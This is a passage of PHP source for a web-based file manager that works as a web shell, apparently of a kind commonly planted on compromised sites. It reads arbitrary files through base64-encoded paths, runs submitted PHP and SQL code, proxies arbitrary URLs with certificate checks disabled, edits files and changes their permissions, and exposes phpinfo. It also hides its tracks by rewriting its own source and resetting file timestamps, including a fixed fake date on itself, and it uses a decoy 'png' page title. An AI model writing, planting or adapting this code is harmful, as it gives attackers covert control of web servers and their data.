			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>-("png")-</title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
sd<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>

</table>
sd<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
sd<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
